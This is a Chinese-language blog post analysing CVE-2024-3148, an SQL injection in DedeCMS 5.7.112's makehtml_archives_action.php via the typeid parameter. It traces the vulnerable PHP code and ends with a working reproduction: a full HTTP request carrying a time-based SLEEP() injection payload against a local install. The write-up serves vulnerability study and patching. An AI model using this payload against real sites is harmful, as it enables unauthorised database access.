当前位置:   article > 正文

CVE-2024-3148 DedeCms makehtml_archives_action sql注入漏洞分析

CVE-2024-3148 DedeCms makehtml_archives_action sql注入漏洞分析

DedeCMS(也称为织梦CMS)是一款基于PHP+MySQL的开源内容管理系统。

在 DedeCMS 5.7.112 中发现一个被归类为严重的漏洞。此漏洞会影响某些未知文件dede/makehtml_archives_action.php的处理。操作导致 sql 注入。攻击可能是远程发起的。该漏洞已向公众披露并可能被使用。.....

官方网站产品下载 / 织梦 (DedeCMS) 官方网站 - 内容管理系统 - 上海卓卓网络科技有限公司icon-default.png?t=N7T8https://www.dedecms.com/

漏洞分析

文件makehtml_archives_action.php 中

查看传参

跟踪typeid的参数传递

  1. if($typeid!=0) {
  2.    $ids = GetSonIds($typeid);
  3.    $gwhere .= " AND typeid in($ids) ";
跟入GetSonIds
  1. /**
  2. * 获得某id的所有下级id
  3. *
  4. * @param     string $id 栏目id
  5. * @param     string $channel 模型ID
  6. * @param     string $addthis 是否包含本身
  7. * @return   string
  8. */
  9. function GetSonIds($id,$channel=0,$addthis=true)
  10. {
  11.    global $cfg_Cs;
  12.    $GLOBALS['idArray'] = array();
  13.    if( !is_array($cfg_Cs) )
  14.   {
  15.        require_once(DEDEDATA."/cache/inc_catalog_base.inc");
  16.   }
  17.    GetSonIdsLogic($id,$cfg_Cs,$channel,$addthis);
  18.    $rquery = join(',',$GLOBALS['idArray']);
  19.    $rquery = preg_replace("/,$/", '', $rquery);
  20.    return $rquery;
  21. }
  22. function GetSonIdsLogic($id,$sArr,$channel=0,$addthis=false)
  23. {
  24.    if($id!=0 && $addthis)
  25.   {
  26.        $GLOBALS['idArray'][$id] = $id;
  27.   }
  28.    if(is_array($sArr))
  29.   {
  30.        foreach($sArr as $k=>$v)
  31.       {
  32.            if( $v[0]==$id && ($channel==0 || $v[1]==$channel ))
  33.           {
  34.                GetSonIdsLogic($k,$sArr,$channel,true);
  35.           }
  36.       }
  37.   }
  38. }

typeid 成功返回到ids , $gwhere 欲成为sql语句

  1. //统计记录总数
  2. if($totalnum==0)
  3. {
  4.    $row = $dsql->GetOne("SELECT COUNT(*) AS dd FROM `#@__arctiny` $idsql");
  5.    $totalnum = $row['dd'];
  6.    //清空缓存
  7.    $dsql->ExecuteNoneQuery("DELETE FROM `#@__arccache` ");
  8. }

IN运算符与子查询结合使用 造成sql注入

漏洞复现
  1. GET /DedeCMS-V5.7.112-UTF8/uploads/dede/makehtml_archives_action.php?typeid=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a) HTTP/1.1
  2. Host: 127.0.0.1
  3. sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
  4. sec-ch-ua-mobile: ?0
  5. sec-ch-ua-platform: "Windows"
  6. Upgrade-Insecure-Requests: 1
  7. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
  8. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  9. Sec-Fetch-Site: none
  10. Sec-Fetch-Mode: navigate
  11. Sec-Fetch-User: ?1
  12. Sec-Fetch-Dest: document
  13. Accept-Encoding: gzip, deflate, br
  14. Accept-Language: zh-CN,zh;q=0.9
  15. Cookie: menuitems=1_1%2C2_1%2C3_1; __test=1; SHIRO_SESSION_ID=ee08a13d-a890-43ed-93c3-4fb9de9fb6be; PHPSESSID=fdnnfrucnlv5sh8kqoir3tlnb3; _csrf_name_c61d67c3=60c09950514e6689f774acb4dd165493; _csrf_name_c61d67c31BH21ANI1AGD297L1FF21LN02BGE1DNG=781fb047d73ff07a; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=9585ea19d96a75fc; DedeLoginTime=1712461558; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=7eea594d91df28cb
  16. Connection: close
​
​

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/小蓝xlanll/article/detail/384148
推荐阅读
相关标签
  

闽ICP备14008679号